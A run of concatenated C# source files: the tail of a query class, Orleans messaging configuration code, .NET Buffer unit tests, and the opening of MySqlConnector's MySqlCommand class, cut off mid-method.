BitConverter.ToInt32(BitConverter.GetBytes(boost), 0); return result; } public override bool Equals(System.Object obj) { if (this == obj) return true; if (obj == null) return false; if (GetType() != obj.GetType()) return false; Query other = (Query) obj; if (BitConverter.ToInt32(BitConverter.GetBytes(boost), 0) != BitConverter.ToInt32(BitConverter.GetBytes(other.boost), 0)) return false; return true; } } }
using Orleans.Configuration; using System; using System.Collections.Generic; using System.Linq; using System.Reflection; using System.Text; using System.Xml; namespace Orleans.Runtime.Configuration { /// <summary> /// Specifies global messaging configuration that are common to client and silo. /// </summary> public interface IMessagingConfiguration { /// <summary> /// The OpenConnectionTimeout attribute specifies the timeout before a connection open is assumed to have failed /// </summary> TimeSpan OpenConnectionTimeout { get; set; } /// <summary> /// The ResponseTimeout attribute specifies the default timeout before a request is assumed to have failed. /// </summary> TimeSpan ResponseTimeout { get; set; } /// <summary> /// The MaxResendCount attribute specifies the maximal number of resends of the same message. /// </summary> int MaxResendCount { get; set; } /// <summary> /// The ResendOnTimeout attribute specifies whether the message should be automaticaly resend by the runtime when it times out on the sender. /// Default is false. /// </summary> bool ResendOnTimeout { get; set; } /// <summary> /// The MaxSocketAge attribute specifies how long to keep an open socket before it is closed. /// Default is TimeSpan.MaxValue (never close sockets automatically, unles they were broken). /// </summary> TimeSpan MaxSocketAge { get; set; } /// <summary> /// The DropExpiredMessages attribute specifies whether the message should be dropped if it has expired, that is if it was not delivered /// to the destination before it has timed out on the sender. /// Default is true. /// </summary> bool DropExpiredMessages { get; set; } /// <summary> /// The SiloSenderQueues attribute specifies the number of parallel queues and attendant threads used by the silo to send outbound /// messages (requests, responses, and notifications) to other silos. /// If this attribute is not specified, then System.Environment.ProcessorCount is used. /// </summary> int SiloSenderQueues { get; set; } /// <summary> /// The GatewaySenderQueues attribute specifies the number of parallel queues and attendant threads used by the silo Gateway to send outbound /// messages (requests, responses, and notifications) to clients that are connected to it. /// If this attribute is not specified, then System.Environment.ProcessorCount is used. /// </summary> int GatewaySenderQueues { get; set; } /// <summary> /// The ClientSenderBuckets attribute specifies the total number of grain buckets used by the client in client-to-gateway communication /// protocol. In this protocol, grains are mapped to buckets and buckets are mapped to gateway connections, in order to enable stickiness /// of grain to gateway (messages to the same grain go to the same gateway, while evenly spreading grains across gateways). /// This number should be about 10 to 100 times larger than the expected number of gateway connections. /// If this attribute is not specified, then Math.Pow(2, 13) is used. /// </summary> int ClientSenderBuckets { get; set; } /// <summary> /// This is the period of time a gateway will wait before dropping a disconnected client. /// </summary> TimeSpan ClientDropTimeout { get; set; } /// <summary> /// The size of a buffer in the messaging buffer pool. /// </summary> int BufferPoolBufferSize { get; set; } /// <summary> /// The maximum size of the messaging buffer pool. /// </summary> int BufferPoolMaxSize { get; set; } /// <summary> /// The initial size of the messaging buffer pool that is pre-allocated. /// </summary> int BufferPoolPreallocationSize { get; set; } /// <summary> /// The list of serialization providers /// </summary> List<TypeInfo> SerializationProviders { get; } /// <summary> /// Gets the fallback serializer, used as a last resort when no other serializer is able to serialize an object. /// </summary> TypeInfo FallbackSerializationProvider { get; set; } } /// <summary> /// Messaging configuration that are common to client and silo. /// </summary> [Serializable] public class MessagingConfiguration : IMessagingConfiguration { public TimeSpan OpenConnectionTimeout { get; set; } public TimeSpan ResponseTimeout { get; set; } public int MaxResendCount { get; set; } public bool ResendOnTimeout { get; set; } public TimeSpan MaxSocketAge { get; set; } public bool DropExpiredMessages { get; set; } public int SiloSenderQueues { get; set; } public int GatewaySenderQueues { get; set; } public int ClientSenderBuckets { get; set; } public TimeSpan ClientDropTimeout { get; set; } public int BufferPoolBufferSize { get; set; } public int BufferPoolMaxSize { get; set; } public int BufferPoolPreallocationSize { get; set; } /// <summary> /// The MaxForwardCount attribute specifies the maximal number of times a message is being forwared from one silo to another. /// Forwarding is used internally by the tuntime as a recovery mechanism when silos fail and the membership is unstable. /// In such times the messages might not be routed correctly to destination, and runtime attempts to forward such messages a number of times before rejecting them. /// </summary> public int MaxForwardCount { get; set; } public List<TypeInfo> SerializationProviders { get; private set; } public TypeInfo FallbackSerializationProvider { get; set; } internal const int DEFAULT_MAX_FORWARD_COUNT = 2; private const bool DEFAULT_RESEND_ON_TIMEOUT = false; private static readonly int DEFAULT_SILO_SENDER_QUEUES = Environment.ProcessorCount; private static readonly int DEFAULT_GATEWAY_SENDER_QUEUES = Environment.ProcessorCount; private readonly bool isSiloConfig; internal MessagingConfiguration(bool isSilo) { isSiloConfig = isSilo; OpenConnectionTimeout = NetworkingOptions.DEFAULT_OPENCONNECTION_TIMEOUT; ResponseTimeout = MessagingOptions.DEFAULT_RESPONSE_TIMEOUT; MaxResendCount = 0; ResendOnTimeout = DEFAULT_RESEND_ON_TIMEOUT; MaxSocketAge = NetworkingOptions.DEFAULT_MAX_SOCKET_AGE; DropExpiredMessages = MessagingOptions.DEFAULT_DROP_EXPIRED_MESSAGES; SiloSenderQueues = DEFAULT_SILO_SENDER_QUEUES; GatewaySenderQueues = DEFAULT_GATEWAY_SENDER_QUEUES; ClientSenderBuckets = ClientMessagingOptions.DEFAULT_CLIENT_SENDER_BUCKETS; ClientDropTimeout = Constants.DEFAULT_CLIENT_DROP_TIMEOUT; BufferPoolBufferSize = MessagingOptions.DEFAULT_BUFFER_POOL_BUFFER_SIZE; BufferPoolMaxSize = MessagingOptions.DEFAULT_BUFFER_POOL_MAX_SIZE; BufferPoolPreallocationSize = MessagingOptions.DEFAULT_BUFFER_POOL_PREALLOCATION_SIZE; if (isSiloConfig) { MaxForwardCount = DEFAULT_MAX_FORWARD_COUNT; } else { MaxForwardCount = 0; } SerializationProviders = new List<TypeInfo>(); } public override string ToString() { var sb = new StringBuilder(); sb.AppendFormat(" Messaging:").AppendLine(); sb.AppendFormat(" Response timeout: {0}", ResponseTimeout).AppendLine(); sb.AppendFormat(" Maximum resend count: {0}", MaxResendCount).AppendLine(); sb.AppendFormat(" Resend On Timeout: {0}", ResendOnTimeout).AppendLine(); sb.AppendFormat(" Maximum Socket Age: {0}", MaxSocketAge).AppendLine(); sb.AppendFormat(" Drop Expired Messages: {0}", DropExpiredMessages).AppendLine(); if (isSiloConfig) { sb.AppendFormat(" Silo Sender queues: {0}", SiloSenderQueues).AppendLine(); sb.AppendFormat(" Gateway Sender queues: {0}", GatewaySenderQueues).AppendLine(); sb.AppendFormat(" Client Drop Timeout: {0}", ClientDropTimeout).AppendLine(); } else { sb.AppendFormat(" Client Sender Buckets: {0}", ClientSenderBuckets).AppendLine(); } sb.AppendFormat(" Buffer Pool Buffer Size: {0}", BufferPoolBufferSize).AppendLine(); sb.AppendFormat(" Buffer Pool Max Size: {0}", BufferPoolMaxSize).AppendLine(); sb.AppendFormat(" Buffer Pool Preallocation Size: {0}", BufferPoolPreallocationSize).AppendLine(); if (isSiloConfig) { sb.AppendFormat(" Maximum forward count: {0}", MaxForwardCount).AppendLine(); } SerializationProviders.ForEach(sp => sb.AppendFormat(" Serialization provider: {0}", sp.FullName).AppendLine()); sb.AppendFormat(" Fallback serializer: {0}", this.FallbackSerializationProvider?.FullName).AppendLine(); return sb.ToString(); } internal virtual void Load(XmlElement child) { ResponseTimeout = child.HasAttribute("ResponseTimeout") ? ConfigUtilities.ParseTimeSpan(child.GetAttribute("ResponseTimeout"), "Invalid ResponseTimeout") : MessagingOptions.DEFAULT_RESPONSE_TIMEOUT; if (child.HasAttribute("MaxResendCount")) { MaxResendCount = ConfigUtilities.ParseInt(child.GetAttribute("MaxResendCount"), "Invalid integer value for the MaxResendCount attribute on the Messaging element"); } if (child.HasAttribute("ResendOnTimeout")) { ResendOnTimeout = ConfigUtilities.ParseBool(child.GetAttribute("ResendOnTimeout"), "Invalid Boolean value for the ResendOnTimeout attribute on the Messaging element"); } if (child.HasAttribute("MaxSocketAge")) { MaxSocketAge = ConfigUtilities.ParseTimeSpan(child.GetAttribute("MaxSocketAge"), "Invalid time span set for the MaxSocketAge attribute on the Messaging element"); } if (child.HasAttribute("DropExpiredMessages")) { DropExpiredMessages = ConfigUtilities.ParseBool(child.GetAttribute("DropExpiredMessages"), "Invalid integer value for the DropExpiredMessages attribute on the Messaging element"); } //-- if (isSiloConfig) { if (child.HasAttribute("SiloSenderQueues")) { SiloSenderQueues = ConfigUtilities.ParseInt(child.GetAttribute("SiloSenderQueues"), "Invalid integer value for the SiloSenderQueues attribute on the Messaging element"); } if (child.HasAttribute("GatewaySenderQueues")) { GatewaySenderQueues = ConfigUtilities.ParseInt(child.GetAttribute("GatewaySenderQueues"), "Invalid integer value for the GatewaySenderQueues attribute on the Messaging element"); } ClientDropTimeout = child.HasAttribute("ClientDropTimeout") ? ConfigUtilities.ParseTimeSpan(child.GetAttribute("ClientDropTimeout"), "Invalid ClientDropTimeout") : Constants.DEFAULT_CLIENT_DROP_TIMEOUT; } else { if (child.HasAttribute("ClientSenderBuckets")) { ClientSenderBuckets = ConfigUtilities.ParseInt(child.GetAttribute("ClientSenderBuckets"), "Invalid integer value for the ClientSenderBuckets attribute on the Messaging element"); } } //-- if (child.HasAttribute("BufferPoolBufferSize")) { BufferPoolBufferSize = ConfigUtilities.ParseInt(child.GetAttribute("BufferPoolBufferSize"), "Invalid integer value for the BufferPoolBufferSize attribute on the Messaging element"); } if (child.HasAttribute("BufferPoolMaxSize")) { BufferPoolMaxSize = ConfigUtilities.ParseInt(child.GetAttribute("BufferPoolMaxSize"), "Invalid integer value for the BufferPoolMaxSize attribute on the Messaging element"); } if (child.HasAttribute("BufferPoolPreallocationSize")) { BufferPoolPreallocationSize = ConfigUtilities.ParseInt(child.GetAttribute("BufferPoolPreallocationSize"), "Invalid integer value for the BufferPoolPreallocationSize attribute on the Messaging element"); } //-- if (isSiloConfig) { if (child.HasAttribute("MaxForwardCount")) { MaxForwardCount = ConfigUtilities.ParseInt(child.GetAttribute("MaxForwardCount"), "Invalid integer value for the MaxForwardCount attribute on the Messaging element"); } } if (child.HasChildNodes) { var serializerNode = child.ChildNodes.OfType<XmlElement>().FirstOrDefault(n => n.Name == "SerializationProviders"); if (serializerNode != null && serializerNode.HasChildNodes) { var typeNames = serializerNode.ChildNodes.OfType<XmlElement>() .Where(n => n.Name == "Provider") .Select(e => e.Attributes["type"]) .Where(a => a != null) .Select(a => a.Value); var types = typeNames.Select( t => ConfigUtilities.ParseFullyQualifiedType( t, $"The type specification for the 'type' attribute of the Provider element could not be loaded. Type specification: '{t}'.")); foreach (var type in types) { var typeinfo = type.GetTypeInfo(); ConfigUtilities.ValidateSerializationProvider(typeinfo); if (SerializationProviders.Contains(typeinfo) == false) { SerializationProviders.Add(typeinfo); } } } var fallbackSerializerNode = child.ChildNodes.OfType<XmlElement>().FirstOrDefault(n => n.Name == "FallbackSerializationProvider"); if (fallbackSerializerNode != null) { var typeName = fallbackSerializerNode.Attributes["type"]?.Value; if (string.IsNullOrWhiteSpace(typeName)) { var msg = "The FallbackSerializationProvider element requires a 'type' attribute specifying the fully-qualified type name of the serializer."; throw new FormatException(msg); } var type = ConfigUtilities.ParseFullyQualifiedType( typeName, $"The type specification for the 'type' attribute of the FallbackSerializationProvider element could not be loaded. Type specification: '{typeName}'."); this.FallbackSerializationProvider = type.GetTypeInfo(); } } } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System; using System.Collections.Generic; using Xunit; namespace System.Tests { public static class BufferTests { [Fact] public static void BlockCopy() { byte[] src = new byte[] { 0x1a, 0x2b, 0x3c, 0x4d }; byte[] dst = new byte[] { 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f }; Buffer.BlockCopy(src, 0, dst, 1, 4); Assert.Equal(new byte[] { 0x6f, 0x1a, 0x2b, 0x3c, 0x4d, 0x6f }, dst); } [Fact] public static void BlockCopy_SameDestinationAndSourceArray() { byte[] dst = new byte[] { 0x1a, 0x2b, 0x3c, 0x4d, 0x5e }; Buffer.BlockCopy(dst, 1, dst, 2, 2); Assert.Equal(new byte[] { 0x1a, 0x2b, 0x2b, 0x3c, 0x5e }, dst); } [Fact] public static void BlockCopy_Invalid() { AssertExtensions.Throws<ArgumentNullException>("src", () => Buffer.BlockCopy(null, 0, new int[3], 0, 0)); // Src is null AssertExtensions.Throws<ArgumentNullException>("dst", () => Buffer.BlockCopy(new string[3], 0, null, 0, 0)); // Dst is null AssertExtensions.Throws<ArgumentOutOfRangeException>("srcOffset", () => Buffer.BlockCopy(new byte[3], -1, new byte[3], 0, 0)); // SrcOffset < 0 AssertExtensions.Throws<ArgumentOutOfRangeException>("dstOffset", () => Buffer.BlockCopy(new byte[3], 0, new byte[3], -1, 0)); // DstOffset < 0 AssertExtensions.Throws<ArgumentOutOfRangeException>("count", () => Buffer.BlockCopy(new byte[3], 0, new byte[3], 0, -1)); // Count < 0 AssertExtensions.Throws<ArgumentException>("src", () => Buffer.BlockCopy(new string[3], 0, new byte[3], 0, 0)); // Src is not a byte array AssertExtensions.Throws<ArgumentException>("dest", () => Buffer.BlockCopy(new byte[3], 0, new string[3], 0, 0)); // Dst is not a byte array AssertExtensions.Throws<ArgumentException>("", () => Buffer.BlockCopy(new byte[3], 3, new byte[3], 0, 1)); // SrcOffset + count >= src.length AssertExtensions.Throws<ArgumentException>("", () => Buffer.BlockCopy(new byte[3], 4, new byte[3], 0, 0)); // SrcOffset >= src.Length AssertExtensions.Throws<ArgumentException>("", () => Buffer.BlockCopy(new byte[3], 0, new byte[3], 3, 1)); // DstOffset + count >= dst.Length AssertExtensions.Throws<ArgumentException>("", () => Buffer.BlockCopy(new byte[3], 0, new byte[3], 4, 0)); // DstOffset >= dst.Length } public static unsafe IEnumerable<object[]> ByteLength_TestData() { return new object[][] { new object[] { typeof(byte), sizeof(byte) }, new object[] { typeof(sbyte), sizeof(sbyte) }, new object[] { typeof(short), sizeof(short) }, new object[] { typeof(ushort), sizeof(ushort) }, new object[] { typeof(int), sizeof(int) }, new object[] { typeof(uint), sizeof(uint) }, new object[] { typeof(long), sizeof(long) }, new object[] { typeof(ulong), sizeof(ulong) }, new object[] { typeof(IntPtr), sizeof(IntPtr) }, new object[] { typeof(UIntPtr), sizeof(UIntPtr) }, new object[] { typeof(double), sizeof(double) }, new object[] { typeof(float), sizeof(float) }, new object[] { typeof(bool), sizeof(bool) }, new object[] { typeof(char), sizeof(char) } }; } [Theory] [MemberData(nameof(ByteLength_TestData))] public static void ByteLength(Type type, int size) { const int Length = 25; Array array = Array.CreateInstance(type, Length); Assert.Equal(Length * size, Buffer.ByteLength(array)); } [Fact] public static void ByteLength_Invalid() { AssertExtensions.Throws<ArgumentNullException>("array", () => Buffer.ByteLength(null)); // Array is null AssertExtensions.Throws<ArgumentException>("array", () => Buffer.ByteLength(Array.CreateInstance(typeof(DateTime), 25))); // Array is not a primitive AssertExtensions.Throws<ArgumentException>("array", () => Buffer.ByteLength(Array.CreateInstance(typeof(decimal), 25))); // Array is not a primitive AssertExtensions.Throws<ArgumentException>("array", () => Buffer.ByteLength(Array.CreateInstance(typeof(string), 25))); // Array is not a primitive } [Theory] [InlineData(new uint[] { 0x01234567, 0x89abcdef }, 0, 0x67)] [InlineData(new uint[] { 0x01234567, 0x89abcdef }, 7, 0x89)] public static void GetByte(Array array, int index, int expected) { Assert.Equal(expected, Buffer.GetByte(array, index)); } [Fact] public static void GetByte_Invalid() { var array = new uint[] { 0x01234567, 0x89abcdef }; AssertExtensions.Throws<ArgumentNullException>("array", () => Buffer.GetByte(null, 0)); // Array is null AssertExtensions.Throws<ArgumentException>("array", () => Buffer.GetByte(new object[10], 0)); // Array is not a primitive array AssertExtensions.Throws<ArgumentOutOfRangeException>("index", () => Buffer.GetByte(array, -1)); // Index < 0 AssertExtensions.Throws<ArgumentOutOfRangeException>("index", () => Buffer.GetByte(array, 8)); // Index >= array.Length } [Theory] [InlineData(25000, 0, 30000, 0, 25000)] [InlineData(25000, 0, 30000, 5000, 25000)] [InlineData(25000, 5000, 30000, 6000, 20000)] [InlineData(25000, 5000, 30000, 6000, 4000)] [InlineData(100, 0, 100, 0, 0)] [InlineData(100, 0, 100, 0, 1)] [InlineData(100, 0, 100, 0, 2)] [InlineData(100, 0, 100, 0, 3)] [InlineData(100, 0, 100, 0, 4)] [InlineData(100, 0, 100, 0, 5)] [InlineData(100, 0, 100, 0, 6)] [InlineData(100, 0, 100, 0, 7)] [InlineData(100, 0, 100, 0, 8)] [InlineData(100, 0, 100, 0, 9)] [InlineData(100, 0, 100, 0, 10)] [InlineData(100, 0, 100, 0, 11)] [InlineData(100, 0, 100, 0, 12)] [InlineData(100, 0, 100, 0, 13)] [InlineData(100, 0, 100, 0, 14)] [InlineData(100, 0, 100, 0, 15)] [InlineData(100, 0, 100, 0, 16)] [InlineData(100, 0, 100, 0, 17)] public static unsafe void MemoryCopy(int sourceLength, int sourceIndexOffset, int destinationLength, int destinationIndexOffset, long sourceBytesToCopy) { var sourceArray = new byte[sourceLength]; for (int i = 0; i < sourceArray.Length; i++) { sourceArray[i] = unchecked((byte)i); } var destinationArray = new byte[destinationLength]; for (int i = 0; i < destinationArray.Length; i++) { destinationArray[i] = unchecked((byte)(i * 2)); } fixed (byte* sourceBase = sourceArray, destinationBase = destinationArray) { Buffer.MemoryCopy(sourceBase + sourceIndexOffset, destinationBase + destinationIndexOffset, destinationLength, sourceBytesToCopy); } for (int i = 0; i < destinationIndexOffset; i++) { Assert.Equal(unchecked((byte)(i * 2)), destinationArray[i]); } for (int i = 0; i < sourceBytesToCopy; i++) { Assert.Equal(sourceArray[i + sourceIndexOffset], destinationArray[i + destinationIndexOffset]); } for (long i = destinationIndexOffset + sourceBytesToCopy; i < destinationArray.Length; i++) { Assert.Equal(unchecked((byte)(i * 2)), destinationArray[i]); } } [Theory] [InlineData(200, 50, 100)] [InlineData(200, 5, 15)] public static unsafe void MemoryCopy_OverlappingBuffers(int sourceLength, int destinationIndexOffset, int sourceBytesToCopy) { var array = new int[sourceLength]; for (int i = 0; i < array.Length; i++) { array[i] = i; } fixed (int* arrayBase = array) { Buffer.MemoryCopy(arrayBase, arrayBase + destinationIndexOffset, sourceLength * 4, sourceBytesToCopy * 4); } for (int i = 0; i < sourceBytesToCopy; i++) { Assert.Equal(i, array[i + destinationIndexOffset]); } } [Fact] public static unsafe void MemoryCopy_Invalid() { var sourceArray = new int[5000]; var destinationArray = new int[1000]; AssertExtensions.Throws<ArgumentOutOfRangeException>("sourceBytesToCopy", () => { fixed (int* sourceBase = sourceArray, destinationBase = destinationArray) { Buffer.MemoryCopy(sourceBase, destinationBase, 5000 * 4, 20000 * 4); // Source bytes to copy > destination size in bytes } }); AssertExtensions.Throws<ArgumentOutOfRangeException>("sourceBytesToCopy", () => { fixed (int* sourceBase = sourceArray, destinationBase = destinationArray) { Buffer.MemoryCopy(sourceBase, destinationBase, (ulong)5000 * 4, (ulong)20000 * 4); // Source bytes to copy > destination size in bytes } }); } [Theory] [InlineData(new uint[] { 0x01234567, 0x89abcdef }, 0, 0x42, new uint[] { 0x01234542, 0x89abcdef })] [InlineData(new uint[] { 0x01234542, 0x89abcdef }, 7, 0xa2, new uint[] { 0x01234542, 0xa2abcdef })] public static void SetByte(Array array, int index, byte value, Array expected) { Buffer.SetByte(array, index, value); Assert.Equal(expected, array); } [Fact] public static void SetByte_Invalid() { var array = new uint[] { 0x01234567, 0x89abcdef }; AssertExtensions.Throws<ArgumentNullException>("array", () => Buffer.SetByte(null, 0, 0xff)); // Array is null AssertExtensions.Throws<ArgumentException>("array", () => Buffer.SetByte(new object[10], 0, 0xff)); // Array is not a primitive array AssertExtensions.Throws<ArgumentOutOfRangeException>("index", () => Buffer.SetByte(array, -1, 0xff)); // Index < 0 AssertExtensions.Throws<ArgumentOutOfRangeException>("index", () => Buffer.SetByte(array, 8, 0xff)); // Index > array.Length } } }
using System.Diagnostics; using System.Diagnostics.CodeAnalysis; using MySqlConnector.Core; using MySqlConnector.Logging; using MySqlConnector.Protocol.Serialization; using MySqlConnector.Utilities; namespace MySqlConnector; /// <summary> /// <see cref="MySqlCommand"/> represents a SQL statement or stored procedure name /// to execute against a MySQL database. /// </summary> public sealed class MySqlCommand : DbCommand, IMySqlCommand, ICancellableCommand, ICloneable { /// <summary> /// Initializes a new instance of the <see cref="MySqlCommand"/> class. /// </summary> public MySqlCommand() : this(null, null, null) { } /// <summary> /// Initializes a new instance of the <see cref="MySqlCommand"/> class, setting <see cref="CommandText"/> to <paramref name="commandText"/>. /// </summary> /// <param name="commandText">The text to assign to <see cref="CommandText"/>.</param> public MySqlCommand(string? commandText) : this(commandText, null, null) { } /// <summary> /// Initializes a new instance of the <see cref="MySqlCommand"/> class with the specified <see cref="MySqlConnection"/> and <see cref="MySqlTransaction"/>. /// </summary> /// <param name="connection">The <see cref="MySqlConnection"/> to use.</param> /// <param name="transaction">The active <see cref="MySqlTransaction"/>, if any.</param> public MySqlCommand(MySqlConnection? connection, MySqlTransaction? transaction) : this(null, connection, transaction) { } /// <summary> /// Initializes a new instance of the <see cref="MySqlCommand"/> class with the specified command text and <see cref="MySqlConnection"/>. /// </summary> /// <param name="commandText">The text to assign to <see cref="CommandText"/>.</param> /// <param name="connection">The <see cref="MySqlConnection"/> to use.</param> public MySqlCommand(string? commandText, MySqlConnection? connection) : this(commandText, connection, null) { } /// <summary> /// Initializes a new instance of the <see cref="MySqlCommand"/> class with the specified command text,<see cref="MySqlConnection"/>, and <see cref="MySqlTransaction"/>. /// </summary> /// <param name="commandText">The text to assign to <see cref="CommandText"/>.</param> /// <param name="connection">The <see cref="MySqlConnection"/> to use.</param> /// <param name="transaction">The active <see cref="MySqlTransaction"/>, if any.</param> public MySqlCommand(string? commandText, MySqlConnection? connection, MySqlTransaction? transaction) { GC.SuppressFinalize(this); m_commandId = ICancellableCommandExtensions.GetNextId(); m_commandText = commandText ?? ""; Connection = connection; Transaction = transaction; CommandType = CommandType.Text; } private MySqlCommand(MySqlCommand other) : this(other.CommandText, other.Connection, other.Transaction) { GC.SuppressFinalize(this); m_commandTimeout = other.m_commandTimeout; m_commandType = other.m_commandType; DesignTimeVisible = other.DesignTimeVisible; UpdatedRowSource = other.UpdatedRowSource; m_parameterCollection = other.CloneRawParameters(); m_attributeCollection = other.CloneRawAttributes(); } /// <summary> /// The collection of <see cref="MySqlParameter"/> objects for this command. /// </summary> public new MySqlParameterCollection Parameters => m_parameterCollection ??= new(); MySqlParameterCollection? IMySqlCommand.RawParameters => m_parameterCollection; /// <summary> /// The collection of <see cref="MySqlAttribute"/> objects for this command. /// </summary> public MySqlAttributeCollection Attributes => m_attributeCollection ??= new(); MySqlAttributeCollection? IMySqlCommand.RawAttributes => m_attributeCollection; public new MySqlParameter CreateParameter() => (MySqlParameter) base.CreateParameter(); /// <inheritdoc/> public override void Cancel() => Connection?.Cancel(this, m_commandId, true); /// <summary> /// Executes this command on the associated <see cref="MySqlConnection"/>. /// </summary> /// <returns>The number of rows affected.</returns> /// <remarks>For UPDATE, INSERT, and DELETE statements, the return value is the number of rows affected by the command. /// For stored procedures, the return value is the number of rows affected by the last statement in the stored procedure, /// or zero if the last statement is a SELECT. For all other types of statements, the return value is -1.</remarks> public override int ExecuteNonQuery() => ExecuteNonQueryAsync(IOBehavior.Synchronous, CancellationToken.None).GetAwaiter().GetResult(); /// <inheritdoc/> public override object? ExecuteScalar() => ExecuteScalarAsync(IOBehavior.Synchronous, CancellationToken.None).GetAwaiter().GetResult(); public new MySqlDataReader ExecuteReader() => ExecuteReaderAsync(default, IOBehavior.Synchronous, default).GetAwaiter().GetResult(); public new MySqlDataReader ExecuteReader(CommandBehavior commandBehavior) => ExecuteReaderAsync(commandBehavior, IOBehavior.Synchronous, default).GetAwaiter().GetResult(); /// <inheritdoc/> public override void Prepare() { if (!NeedsPrepare(out var exception)) { if (exception is not null) throw exception; return; } Connection!.Session.PrepareAsync(this, IOBehavior.Synchronous, default).GetAwaiter().GetResult(); } #if NETCOREAPP3_0_OR_GREATER || NETSTANDARD2_1_OR_GREATER public override Task PrepareAsync(CancellationToken cancellationToken = default) => PrepareAsync(AsyncIOBehavior, cancellationToken); #else public Task PrepareAsync(CancellationToken cancellationToken = default) => PrepareAsync(AsyncIOBehavior, cancellationToken); #endif internal MySqlParameterCollection? CloneRawParameters() { if (m_parameterCollection is null) return null; var parameters = new MySqlParameterCollection(); foreach (var parameter in (IEnumerable<MySqlParameter>) m_parameterCollection) parameters.Add(parameter.Clone()); return parameters; } private MySqlAttributeCollection? CloneRawAttributes() { if (m_attributeCollection is null) return null; var attributes = new MySqlAttributeCollection(); foreach (var attribute in m_attributeCollection) attributes.Add(new MySqlAttribute(attribute.AttributeName, attribute.Value)); return attributes; } bool IMySqlCommand.AllowUserVariables => AllowUserVariables; internal bool AllowUserVariables { get; set; } internal bool NoActivity { get; set; } private Task PrepareAsync(IOBehavior ioBehavior, CancellationToken cancellationToken) { if (!NeedsPrepare(out var exception)) return exception is null ? Utility.CompletedTask : Utility.TaskFromException(exception); return Connection!.Session.PrepareAsync(this, ioBehavior, cancellationToken); } private bool NeedsPrepare(out Exception? exception) { exception = null; if (Connection is null) exception = new InvalidOperationException("Connection property must be non-null."); else if (Connection.State != ConnectionState.Open) exception = new InvalidOperationException("Connection must be Open; current state is {0}".FormatInvariant(Connection.State)); else if (string.IsNullOrWhiteSpace(CommandText)) exception = new InvalidOperationException("CommandText must be specified"); else if (Connection?.HasActiveReader ?? false) exception = new InvalidOperationException("Cannot call Prepare when there is an open DataReader for this command's connection; it must be closed first."); if (exception is not null || Connection!.IgnorePrepare) return false; if (CommandType != CommandType.StoredProcedure && CommandType != CommandType.Text) { exception = new NotSupportedException("Only CommandType.Text and CommandType.StoredProcedure are currently supported by MySqlCommand.Prepare."); return false; } // don't prepare the same SQL twice return Connection.Session.TryGetPreparedStatement(CommandText!) is null; } /// <summary> /// Gets or sets the command text to execute. /// </summary> /// <remarks>If <see cref="CommandType"/> is <see cref="CommandType.Text"/>, this is one or more SQL statements to execute. /// If <see cref="CommandType"/> is <see cref="CommandType.StoredProcedure"/>, this is the name of the stored procedure; any /// special characters in the stored procedure name must be quoted or escaped.</remarks> [AllowNull] public override string CommandText { get => m_commandText; set { if (m_connection?.ActiveCommandId == m_commandId) throw new InvalidOperationException("Cannot set MySqlCommand.CommandText when there is an open DataReader for this command; it must be closed first."); m_commandText = value ?? ""; } } public bool IsPrepared => ((IMySqlCommand) this).TryGetPreparedStatements() is not null; public new MySqlTransaction? Transaction { get; set; } public new MySqlConnection? Connection { get => m_connection; set { if (m_connection?.ActiveCommandId == m_commandId) throw new InvalidOperationException("Cannot set MySqlCommand.Connection when there is an open DataReader for this command; it must be closed first."); m_connection = value; } } /// <inheritdoc/> public override int CommandTimeout { get => Math.Min(m_commandTimeout ?? Connection?.DefaultCommandTimeout ?? 0, int.MaxValue / 1000); set => m_commandTimeout = value >= 0 ? value : throw new ArgumentOutOfRangeException(nameof(value), "CommandTimeout must be greater than or equal to zero."); } /// <inheritdoc/> public override CommandType CommandType { get => m_commandType; set { if (value != CommandType.Text && value != CommandType.StoredProcedure) throw new ArgumentException("CommandType must be Text or StoredProcedure.", nameof(value)); m_commandType = value; } } /// <inheritdoc/> public override bool DesignTimeVisible { get; set; } /// <inheritdoc/> public override UpdateRowSource UpdatedRowSource { get; set; } /// <summary> /// Holds the first automatically-generated ID for a value inserted in an <c>AUTO_INCREMENT</c> column in the last statement. /// </summary> /// <remarks> /// See <a href="https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_last-insert-id"><c>LAST_INSERT_ID()</c></a> for more information. /// </remarks> public long LastInsertedId { get; private set; } void IMySqlCommand.SetLastInsertedId(long lastInsertedId) => LastInsertedId = lastInsertedId; protected override DbConnection? DbConnection { get => Connection; set => Connection = (MySqlConnection?) value; } protected override DbParameterCollection DbParameterCollection => Parameters; protected override DbTransaction? DbTransaction { get => Transaction; set => Transaction = (MySqlTransaction?) value; } protected override DbParameter CreateDbParameter() => new MySqlParameter(); protected override DbDataReader ExecuteDbDataReader(CommandBehavior behavior) => ExecuteReaderAsync(behavior, IOBehavior.Synchronous, CancellationToken.None).GetAwaiter().GetResult(); /// <summary> /// Executes this command asynchronously on the associated <see cref="MySqlConnection"/>. /// </summary> /// <param name="cancellationToken">A token to cancel the asynchronous operation.</param> /// <returns>A task representing the asynchronous operation.</returns> /// <remarks>For UPDATE, INSERT, and DELETE statements, the return value is the number of rows affected by the command. /// For stored procedures, the return value is the number of rows affected by the last statement in the stored procedure, /// or zero if the last statement is a SELECT. For all other types of statements, the return value is -1.</remarks> public override Task<int> ExecuteNonQueryAsync(CancellationToken cancellationToken) => ExecuteNonQueryAsync(AsyncIOBehavior, cancellationToken); internal async Task<int> ExecuteNonQueryAsync(IOBehavior ioBehavior, CancellationToken cancellationToken) { Volatile.Write(ref m_commandTimedOut, false); this.ResetCommandTimeout(); using var registration = ((ICancellableCommand) this).RegisterCancel(cancellationToken); using var reader = await ExecuteReaderNoResetTimeoutAsync(CommandBehavior.Default, ioBehavior, cancellationToken).ConfigureAwait(false); do { while (await reader.ReadAsync(ioBehavior, cancellationToken).ConfigureAwait(false)) { } } while (await reader.NextResultAsync(ioBehavior, cancellationToken).ConfigureAwait(false)); return reader.RecordsAffected; } public override Task<object?> ExecuteScalarAsync(CancellationToken cancellationToken) => ExecuteScalarAsync(AsyncIOBehavior, cancellationToken); internal async Task<object?> ExecuteScalarAsync(IOBehavior ioBehavior, CancellationToken cancellationToken) { Volatile.Write(ref m_commandTimedOut, false); this.ResetCommandTimeout(); using var registration = ((ICancellableCommand) this).RegisterCancel(cancellationToken); var hasSetResult = false; object? result = null; using var reader = await ExecuteReaderNoResetTimeoutAsync(CommandBehavior.Default, ioBehavior, 